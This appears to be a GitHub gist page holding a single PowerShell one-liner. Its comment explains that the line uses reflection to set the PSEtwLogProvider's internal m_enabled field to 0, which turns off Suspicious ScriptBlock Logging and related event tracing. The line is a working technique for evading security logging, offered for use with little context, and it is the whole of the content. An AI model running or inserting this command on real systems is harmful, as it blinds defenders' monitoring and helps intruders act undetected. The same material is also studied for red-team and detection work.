Revisions
-
tandasat revised this gist
Nov 16, 2017 . No changes.There are no files selected for viewing
-
tandasat revised this gist
Nov 16, 2017 . No changes.There are no files selected for viewing
-
tandasat created this gist
Nov 16, 2017 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,6 @@ # # This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled # which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt # to bypass Suspicious ScriptBlock Logging for readability. # [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)